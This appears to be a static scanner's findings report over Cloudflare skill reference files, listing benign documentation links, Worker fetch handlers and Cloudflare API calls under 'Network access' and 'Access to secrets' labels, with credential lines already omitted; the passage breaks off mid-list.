    | Configure an S3 JavaScript client | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md) | | Sign temporary upload or download access | [Presigned URLs](https://developers.cloudflare.com/r2
  • Network accessline 12
    | Sign temporary upload or download access | [Presigned URLs](https://developers.cloudflare.com/r2/api/s3/presigned-urls/index.md) |
  • Network accessline 13
    | Encrypt with customer-provided keys | [SSE-C usage](https://developers.cloudflare.com/r2/examples/ssec/index.md) |
  • Network accessline 14
    | Manage buckets and objects from the command line | [Wrangler R2 commands](https://developers.cloudflare.com/r2/reference/wrangler-commands/index.md) |
  • Network accessline 16
    Use generated project types rather than maintaining local copies of R2 interfaces; see [Workers TypeScript guidance](https://developers.cloudflare.com/workers/languages/typescript/index.md). For pagination and conditional response handling,

packages/autoskills/skills-registry/cloudflare/references/r2/configuration.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) |
  • Network accessline 6
    |------|-----------------------| | Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) | | Choose local simulation or a remote bucket during development | [Sup
  • Network accessline 7
    | Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) |
  • Network accessline 8
    | Choose local simulation or a remote bucket during development | [Supported bindings per development mode](https://developers.cloudflare.com/workers/local-development/bindings-per-env/index.md) and [local development](https://developers.cl
  • Network accessline 9
    | Create S3 credentials and scope permissions | [R2 authentication](https://developers.cloudflare.com/r2/api/tokens/index.md) |
  • Network accessline 10
    | Set the S3 endpoint and SDK region | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md) |
  • Network accessline 11
    | Choose placement hints or a jurisdiction | [Data location](https://developers.cloudflare.com/r2/reference/data-location/index.md) |
  • Network accessline 12
    | Configure browser origins, methods, and headers | [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) |
  • Network accessline 13
    | Set expiration, storage transitions, or incomplete-upload cleanup | [Object lifecycles](https://developers.cloudflare.com/r2/buckets/object-lifecycles/index.md) |
  • Network accessline 14
    | Choose or change storage classes | [Storage classes](https://developers.cloudflare.com/r2/buckets/storage-classes/index.md) and [pricing](https://developers.cloudflare.com/r2/pricing/index.md) |
  • Network accessline 15
    | Send object events to a queue | [Event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) |
  • Network accessline 16
    | Configure public access or a custom domain | [Public buckets](https://developers.cloudflare.com/r2/buckets/public-buckets/index.md) |
  • Network accessline 17
    | Manage bucket settings with Wrangler | [R2 commands](https://developers.cloudflare.com/r2/reference/wrangler-commands/index.md) |

packages/autoskills/skills-registry/cloudflare/references/r2/gotchas.md

  • Network accessline 5
    | Symptom or decision | What to check | |---------------------|---------------| | Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata option
  • Network accessline 6
    |---------------------|---------------| | Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata options on subsequent requests. See the listin
  • Network accessline 7
    | Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata options on subsequent requests. See the listing section of the [Workers API reference]
  • Network accessline 8
    | Conditional read has no body, or conditional write returns null | Distinguish a missing object from a failed condition; choose the HTTP response for the actual request condition. See conditional operations in the [Workers API reference](h
  • Network accessline 9
    | ETag, metadata, checksum, or stream upload behaves unexpectedly | Check supported values and return types in the [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md), the [Worker upload 
  • Network accessline 10
    | Multipart upload fails or cannot be resumed | Check part constraints and handle an upload that has already completed or aborted: [multipart guide](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) and [API
  • Network accessline 11
    | S3 authentication or signed URL fails | Verify credentials, endpoint, region, operation, signed headers, and expiry using [SDK setup](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md), [authentication](https://deve
  • Network accessline 12
    | Browser fails but an HTTP client succeeds | Check [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) and [troubleshooting](https://developers.cloudflare.com/r2/platform/troubleshooting/index.md). |
  • Network accessline 13
    | Local and deployed data or behavior differ | Check [local development](https://developers.cloudflare.com/workers/local-development/index.md), [supported bindings](https://developers.cloudflare.com/workers/local-development/bindings-per-en
  • Network accessline 14
    | Reads serve old or missing content after an update | Check the [consistency model and cache interactions](https://developers.cloudflare.com/r2/reference/consistency/index.md). |
  • Network accessline 15
    | Upload size, metadata size, storage cost, or lifecycle behavior is unexpected | Fetch [limits](https://developers.cloudflare.com/r2/platform/limits/index.md), [pricing](https://developers.cloudflare.com/r2/pricing/index.md), [storage clas
  • Network accessline 17
    For other failures, start with [R2 troubleshooting](https://developers.cloudflare.com/r2/platform/troubleshooting/index.md) and [error codes](https://developers.cloudflare.com/r2/api/error-codes/index.md).

packages/autoskills/skills-registry/cloudflare/references/r2/patterns.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) |
  • Network accessline 6
    |------|-----------------------| | Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) | | Add conditional reads/writes, range handl
  • Network accessline 7
    | Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) |
  • Network accessline 8
    | Add conditional reads/writes, range handling, checksums, or batch deletion | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | | Upload large files with multipart state tracked by t
  • Network accessline 9
    | Upload large files with multipart state tracked by the client | [Multipart Worker and client example](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) | | Upload directly from a browser or share a tempora
  • Network accessline 10
    | Upload directly from a browser or share a temporary download | [Presigned URLs](https://developers.cloudflare.com/r2/api/s3/presigned-urls/index.md) and [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) |
  • Network accessline 11
    | Cache responses served by a Worker | [Cache API example](https://developers.cloudflare.com/r2/examples/cache-api/index.md) |
  • Network accessline 12
    | Deliver public objects through a custom domain or evaluate r2.dev | [Public buckets](https://developers.cloudflare.com/r2/buckets/public-buckets/index.md) |
  • Network accessline 13
    | Process object changes asynchronously | [Event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) and [Queues](../queues/) |
  • Network accessline 14
    | Expire objects or transition storage classes | [Object lifecycles](https://developers.cloudflare.com/r2/buckets/object-lifecycles/index.md) and [storage classes](https://developers.cloudflare.com/r2/buckets/storage-classes/index.md) |
  • Network accessline 18
    Keep private responses out of shared public caches. Choose cache keys and invalidation around the application's access model, and check [R2 consistency and caching behavior](https://developers.cloudflare.com/r2/reference/consistency/index.m

packages/autoskills/skills-registry/cloudflare/references/secrets-store/README.md

  • Network accessline 3
    Use Secrets Store for account-level credentials shared across Workers or supported integrations. Use [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) when credentials belong to one Worker and do not
  • Network accessline 5
    Fetch the relevant documentation before implementing. Current Cloudflare docs are the source of truth for binding APIs, management commands, permissions, availability, and quotas. Use the [Secrets Store documentation index](https://develope
  • Network accessline 9
    - Share a secret only among services that should use the same credential and rotate together. - Separate development, staging, and production credentials; select the intended account and environment before managing or binding a secret. - Gr
  • Network accessline 11
    - Grant only the management permissions and consuming-service scopes needed. Permission to view metadata does not imply permission to bind or retrieve a value; fetch [access control](https://developers.cloudflare.com/secrets-store/access-co
  • Network accessline 22
    Fetch the [product overview](https://developers.cloudflare.com/secrets-store/index.md) for current availability and supported integrations. For AI Gateway provider credentials, use [Bring your own keys](https://developers.cloudflare.com/ai-

packages/autoskills/skills-registry/cloudflare/references/secrets-store/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the
  • Network accessline 6
    |------|---------------| | Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-secret-on-the-env-object
  • Network accessline 7
    | Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-secret-on-the-env-object) |
  • Network accessline 8
    | Generate binding and runtime types for the Worker configuration | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 9
    | Manage stores and secrets, inspect metadata, or query quota | [Secrets Store REST API](https://developers.cloudflare.com/api/resources/secrets_store/index.md) |
  • Network accessline 10
    | Choose authorization and consuming-service scope | [Access control](https://developers.cloudflare.com/secrets-store/access-control/index.md) |
  • Network accessline 11
    | Manage secrets through the CLI instead of REST | [Wrangler Secrets Store commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/index.md) |
  • Network accessline 15
    Account-secret bindings require asynchronous retrieval; they are not the direct string values exposed by [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md). Account management APIs and metadata reads 

packages/autoskills/skills-registry/cloudflare/references/secrets-store/configuration.md

  • Network accessline 7
    | Task | Documentation | |------|---------------| | Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) |
  • Network accessline 8
    |------|---------------| | Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) | | Create, edit, duplicate, or dele
  • Network accessline 9
    | Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) |
  • Network accessline 10
    | Create, edit, duplicate, or delete account secrets | [Manage secrets](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) |
  • Network accessline 11
    | Look up current store/secret command syntax and local versus remote flags | [Wrangler Secrets Store commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/index.md) |
  • Network accessline 12
    | Configure bindings for each deployment environment | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) |
  • Network accessline 13
    | Choose user roles, CI token permissions, and secret scopes | [Secrets Store access control](https://developers.cloudflare.com/secrets-store/access-control/index.md) |
  • Network accessline 19
    Secrets Store management commands default to local state; production operations use the documented remote option. Local development needs separately provisioned local secrets. Follow the local-development notes in [Workers integration](http
  • Network accessline 21
    Check the selected account, deployment environment, secret scope, and binding configuration before deploying. In CI, distinguish permission to read metadata from permission to attach a secret to a Worker; use the [CI/CD access-control guida

packages/autoskills/skills-registry/cloudflare/references/secrets-store/gotchas.md

  • Network accessline 5
    | Symptom or decision | What to check | Documentation | |---------------------|---------------|---------------| | Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; m
  • Network accessline 6
    |---------------------|---------------|---------------| | Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; metadata read permission alone is insufficient | [Access 
  • Network accessline 7
    | Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; metadata read permission alone is insufficient | [Access control](https://developers.cloudflare.com/secrets-store
  • Network accessline 8
    | Secret is missing or the wrong value is used | Store, secret name, binding name, and selected deployment environment | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md), [Wrangler environ
  • Network accessline 9
    | Secret works in production but fails locally | Local secret provisioning and the management command's local/remote target | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md), [Wrangler co
  • Network accessline 10
    | CLI update, retrieval, or deletion fails | The operation's required identifier and flags; a secret name is not interchangeable with its ID | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/ind
  • Network accessline 11
    | Binding is treated as a string or has incorrect types | Asynchronous account-secret access and generated configuration types | [Runtime access](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-sec
  • Network accessline 12
    | Quota or value-size validation fails | Current account quota and the requested operation's schema | [Secrets Store REST API](https://developers.cloudflare.com/api/resources/secrets_store/index.md) |
  • Network accessline 13
    | Regional or integration support is unclear | Current product availability and supported consumers | [Product overview](https://developers.cloudflare.com/secrets-store/index.md) |
  • Network accessline 17
    Before deleting a secret to fix a binding conflict or quota problem, identify all consumers. Follow [secret management](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) and the rotation decisions in [patterns.

packages/autoskills/skills-registry/cloudflare/references/secrets-store/patterns.md

  • Network accessline 7
    Fetch [edit, duplicate, and delete operations](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) and [Workers binding setup](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) before
  • Network accessline 13
    Read [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) alongside [Secrets Store Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md). Migration changes 
  • Network accessline 17
    For cryptographic operations, fetch [Workers Web Crypto](https://developers.cloudflare.com/workers/runtime-apis/web-crypto/index.md) and the [request-signing example](https://developers.cloudflare.com/workers/examples/signing-requests/index
  • Network accessline 23
    Fetch [Secrets Store audit logs](https://developers.cloudflare.com/secrets-store/audit-logs/index.md) for the recorded actions and how to inspect them. Keep application telemetry free of credential values; do not assume account audit events
  • Network accessline 25
    For AI Gateway credentials, use [Bring your own keys](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md). For an internal authentication service, consult [Worker service bindings](https://developers.clo

packages/autoskills/skills-registry/cloudflare/references/smart-placement/README.md

  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 104
    https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \
  • Network accessline 135
    - [workers](https://developers.cloudflare.com/workers/index.md) - Worker runtime and fetch handlers
  • Network accessline 136
    - [d1](../d1/) - D1 database that benefits from Smart Placement - [durable-objects](https://developers.cloudflare.com/durable-objects/index.md) - Durable Objects with backend logic - [bindings](../bindings/) - Service bindings for frontend/
  • Network accessline 137
    - [durable-objects](https://developers.cloudflare.com/durable-objects/index.md) - Durable Objects with backend logic

packages/autoskills/skills-registry/cloudflare/references/smart-placement/api.md

  • Network accessline 8
    curl -X GET "https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/workers/services/{WORKER_NAME}" \
  • Network accessline 68
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 69
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 130
    [Credential-related source omitted]
  • Network accessline 131
    [Credential-related source omitted]
  • Network accessline 132
    https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \
  • Network accessline 175
    // Example Worker with Service Binding export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 176
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Forward to backend Worker with Smart Placement enabled
  • Network accessline 177
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 178
    // Forward to backend Worker with Smart Placement enabled     const response = await env.BACKEND_SERVICE.fetch(request);     return response;
  • Network accessline 179
    const response = await env.BACKEND_SERVICE.fetch(request);
  • Access to secretsline 182
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/smart-placement/configuration.md

  • Network accessline 85
    // ✅ Smart Placement affects this: export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 86
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // This runs close to backend when Smart Placement enabled
  • Network accessline 87
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 144
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 145
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 149
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/smart-placement/gotchas.md

  • Network accessline 131
    // ✅ Fetch - Smart Placement WORKS export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 132
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Runs close to DATABASE when Smart Placement enabled
  • Network accessline 133
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare/references/smart-placement/patterns.md

  • Network accessline 6
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 7
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 30
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 31
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 32
    if (new URL(request.url).pathname.startsWith('/api/')) {       return env.BACKEND.fetch(request);  // Forward to backend     }
  • Network accessline 33
    return env.BACKEND.fetch(request);  // Forward to backend
  • Network accessline 44
    export default {   async fetch(request: Request, env: BackendEnv): Promise<Response> {
  • Network accessline 45
    async fetch(request: Request, env: BackendEnv): Promise<Response> {
  • Network accessline 65
    // ✅ Fetch - Smart Placement WORKS export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 66
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Runs close to DATABASE when Smart Placement enabled
  • Network accessline 67
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 78
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 79
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 80
    const apiUrl = 'https://api.partner.com';
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 83
    const [profile, transactions] = await Promise.all([       fetch(`${apiUrl}/profile`, { headers }),
  • Network accessline 84
    fetch(`${apiUrl}/profile`, { headers }),
  • Network accessline 85
    fetch(`${apiUrl}/transactions`, { headers })
  • Network accessline 99
    // Frontend (edge) - auth/routing close to user export default {   async fetch(request: Request, env: Env) {
  • Network accessline 100
    export default {   async fetch(request: Request, env: Env) {     if (!request.headers.get('Authorization')) {
  • Network accessline 101
    async fetch(request: Request, env: Env) {
  • Network accessline 103
    return new Response('Unauthorized', { status: 401 });     }     const data = await env.BACKEND.fetch(request);
  • Network accessline 104
    }     const data = await env.BACKEND.fetch(request);     return new Response(renderPage(await data.json()), {
  • Network accessline 105
    const data = await env.BACKEND.fetch(request);
  • Network accessline 112
    // Backend (Smart Placement) - DB operations close to data export default {   async fetch(request: Request, env: Env) {
  • Network accessline 113
    export default {   async fetch(request: Request, env: Env) {     const data = await env.DATABASE.prepare('SELECT * FROM pages WHERE id = ?').bind(pageId).first();
  • Network accessline 114
    async fetch(request: Request, env: Env) {
  • Network accessline 130
    // Worker with Smart Placement - aggregates data from multiple DOs export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 131
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const userId = new URL(request.url).searchParams.get('user');
  • Network accessline 132
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 140
    // Fetch from multiple DOs     const [userData, analyticsData] = await Promise.all([       userDO.fetch(new Request('https://do/profile')),
  • Network accessline 141
    const [userData, analyticsData] = await Promise.all([       userDO.fetch(new Request('https://do/profile')),       analyticsDO.fetch(new Request('https://do/stats'))
  • Network accessline 142
    userDO.fetch(new Request('https://do/profile')),
  • Network accessline 143
    analyticsDO.fetch(new Request('https://do/stats'))

packages/autoskills/skills-registry/cloudflare/references/static-assets/README.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) |
  • Network accessline 6
    |------|---------------| | Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) | | Choose configuration and an optional asset binding | [Configuration 
  • Network accessline 7
    | Set up and deploy a static site or application | [Get started](https://developers.cloudflare.com/workers/static-assets/get-started/index.md) |
  • Network accessline 8
    | Choose configuration and an optional asset binding | [Configuration and bindings](https://developers.cloudflare.com/workers/static-assets/binding/index.md) |
  • Network accessline 9
    | Serve a client-rendered application | [SPA routing](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md) |
  • Network accessline 10
    | Serve generated HTML and custom error pages | [SSG routing](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md) |
  • Network accessline 11
    | Use a full-stack framework | [Full-stack application guides](https://developers.cloudflare.com/workers/static-assets/routing/full-stack-application/index.md) |
  • Network accessline 12
    | Evaluate moving an existing Pages project | [Pages migration guide](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |

packages/autoskills/skills-registry/cloudflare/references/static-assets/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) |
  • Network accessline 6
    |------|---------------| | Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) | | Understand how binding requests apply HTML 
  • Network accessline 7
    | Forward a request or fetch a specific asset | [Runtime API reference](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) |
  • Network accessline 8
    | Understand how binding requests apply HTML and fallback settings | [Binding fetch behavior](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) and [HTML handling](https://developers.cloudflare.
  • Network accessline 9
    | Run authorization or transform content before serving | [Run your Worker script first](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) |
  • Network accessline 10
    | Inspect default MIME, cache, and validation headers | [Default headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md#default-headers) | | Add or override response headers | [Custom headers and Worker-response c
  • Network accessline 11
    | Add or override response headers | [Custom headers and Worker-response caveat](https://developers.cloudflare.com/workers/static-assets/headers/index.md#custom-headers) |
  • Network accessline 12
    | Fetch assets imported by Vite | [Vite asset features](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md#features) |

packages/autoskills/skills-registry/cloudflare/references/static-assets/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://develop
  • Network accessline 6
    |------|---------------| | Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://developers.cloudflare.com/worker
  • Network accessline 7
    | Set the asset directory and exclude non-public files | [Directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignoring assets](https://developers.cloudflare.com/workers/static-assets/binding/i
  • Network accessline 8
    | Make assets available to Worker code | [Asset binding configuration](https://developers.cloudflare.com/workers/static-assets/binding/index.md#binding) |
  • Network accessline 9
    | Select paths that must run Worker logic before asset serving | [Worker-first configuration](https://developers.cloudflare.com/workers/static-assets/binding/index.md#run_worker_first) |
  • Network accessline 10
    | Configure SPA fallback and navigation behavior | [SPA configuration](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#configuration) |
  • Network accessline 11
    | Configure generated HTML and missing-page responses | [SSG configuration](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md#configuration) |
  • Network accessline 12
    | Choose canonical HTML URLs and trailing slash handling | [HTML handling modes](https://developers.cloudflare.com/workers/static-assets/routing/advanced/html-handling/index.md) |
  • Network accessline 13
    | Configure assets produced by the Cloudflare Vite plugin | [Vite asset configuration](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md#configuration) |
  • Network accessline 14
    | Configure static response headers or redirects | [Headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md) and [redirects](https://developers.cloudflare.com/workers/static-assets/redirects/index.md) |

packages/autoskills/skills-registry/cloudflare/references/static-assets/gotchas.md

  • Network accessline 5
    | Symptom or decision | Documentation | |---------------------|---------------| | Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore
  • Network accessline 6
    |---------------------|---------------| | Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore rules](https://developers.cloudflare.co
  • Network accessline 7
    | Asset missing or unexpected files uploaded | [Asset directory](https://developers.cloudflare.com/workers/static-assets/binding/index.md#directory) and [ignore rules](https://developers.cloudflare.com/workers/static-assets/binding/index.md
  • Network accessline 8
    | Worker is bypassed for an asset or protected path | [Worker-first routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) | | Browser navigation returns HTML for an API
  • Network accessline 9
    | Browser navigation returns HTML for an API path | [SPA navigation requests](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#navigation-requests) and [advanced routing](https://developers.cl
  • Network accessline 10
    | Unexpected redirects or trailing slashes | [HTML handling](https://developers.cloudflare.com/workers/static-assets/routing/advanced/html-handling/index.md) |
  • Network accessline 11
    | A missing route serves the wrong fallback | [SPA routing](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md) or [SSG custom 404 pages](https://developers.cloudflare.com/workers/static-assets/
  • Network accessline 12
    | Cache behavior or custom headers differ from expectations | [Default and custom headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md) | | Vite development and deployment behave differently | [Vite asset config
  • Network accessline 13
    | Vite development and deployment behave differently | [Vite asset configuration and output](https://developers.cloudflare.com/workers/vite-plugin/reference/static-assets/index.md) | | Worker-first requests return 429 or affect cost | [Bill
  • Network accessline 14
    | Worker-first requests return 429 or affect cost | [Billing and limitations](https://developers.cloudflare.com/workers/static-assets/billing-and-limitations/index.md) |
  • Network accessline 15
    | Asset count or file size exceeds deployment limits | [Static asset platform limits](https://developers.cloudflare.com/workers/platform/limits/index.md#static-assets) |
  • Network accessline 16
    | Placement adds latency to asset requests | [Worker routing and placement caveat](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-your-worker-script-first) |

packages/autoskills/skills-registry/cloudflare/references/static-assets/patterns.md

  • Network accessline 5
    | Routing need | Documentation | |--------------|---------------| | Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) |
  • Network accessline 6
    |--------------|---------------| | Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) | | Combine a SPA with API routes | [A
  • Network accessline 7
    | Serve public assets with minimal Worker involvement | [Default Worker routing](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md) |
  • Network accessline 8
    | Combine a SPA with API routes | [Advanced SPA routing control](https://developers.cloudflare.com/workers/static-assets/routing/single-page-application/index.md#advanced-routing-control) |
  • Network accessline 9
    | Require authentication or transform assets before serving | [Run Worker before each request](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-worker-before-each-request) |
  • Network accessline 10
    | Route an OAuth callback or selected dynamic paths to the Worker | [Run Worker first for selective paths](https://developers.cloudflare.com/workers/static-assets/routing/worker-script/index.md#run-worker-first-for-selective-paths) |
  • Network accessline 11
    | Select assets for locale or experiment variants | [Asset binding API](https://developers.cloudflare.com/workers/static-assets/binding/index.md#runtime-api-reference) and [Worker-first routing](https://developers.cloudflare.com/workers/sta
  • Network accessline 12
    | Serve generated HTML with a custom 404 | [Custom 404 pages](https://developers.cloudflare.com/workers/static-assets/routing/static-site-generation/index.md#custom-404-pages) |
  • Network accessline 13
    | Apply static cache/security headers or redirects | [Custom headers](https://developers.cloudflare.com/workers/static-assets/headers/index.md#custom-headers) and [redirects](https://developers.cloudflare.com/workers/static-assets/redirects

packages/autoskills/skills-registry/cloudflare/references/stream/README.md

  • Network accessline 7
    | Task | Read | |---|---| | Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 8
    |---|---| | Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) | | Choose server upload, resumable upload, or import from a UR
  • Network accessline 9
    | Let users upload without exposing an API token | [Direct creator uploads](https://developers.cloudflare.com/stream/uploading-videos/direct-creator-uploads/index.md) |
  • Network accessline 10
    | Choose server upload, resumable upload, or import from a URL | [Upload methods and supported formats](https://developers.cloudflare.com/stream/uploading-videos/index.md) |
  • Network accessline 11
    | Embed playback or integrate an existing player | [Stream Player](https://developers.cloudflare.com/stream/viewing-videos/using-the-stream-player/index.md) or [HLS/DASH players](https://developers.cloudflare.com/stream/viewing-videos/using
  • Network accessline 12
    | Restrict viewing to authorized users or embedding origins | [Secure your Stream](https://developers.cloudflare.com/stream/viewing-videos/securing-your-stream/index.md) |
  • Network accessline 14
    | Check usage, costs, or upload constraints | [Analytics](https://developers.cloudflare.com/stream/getting-analytics/index.md), [pricing](https://developers.cloudflare.com/stream/pricing/index.md), and [upload requirements](https://develope

packages/autoskills/skills-registry/cloudflare/references/stream/api-live.md

  • Network accessline 5
    | Task | Read | |---|---| | Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) |
  • Network accessline 6
    |---|---| | Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) | | Update inputs, recording, retention, or stream keys | [Manage live inp
  • Network accessline 7
    | Create an RTMPS/SRT input and connect an encoder | [Start a live stream](https://developers.cloudflare.com/stream/stream-live/start-stream-live/index.md) |
  • Network accessline 8
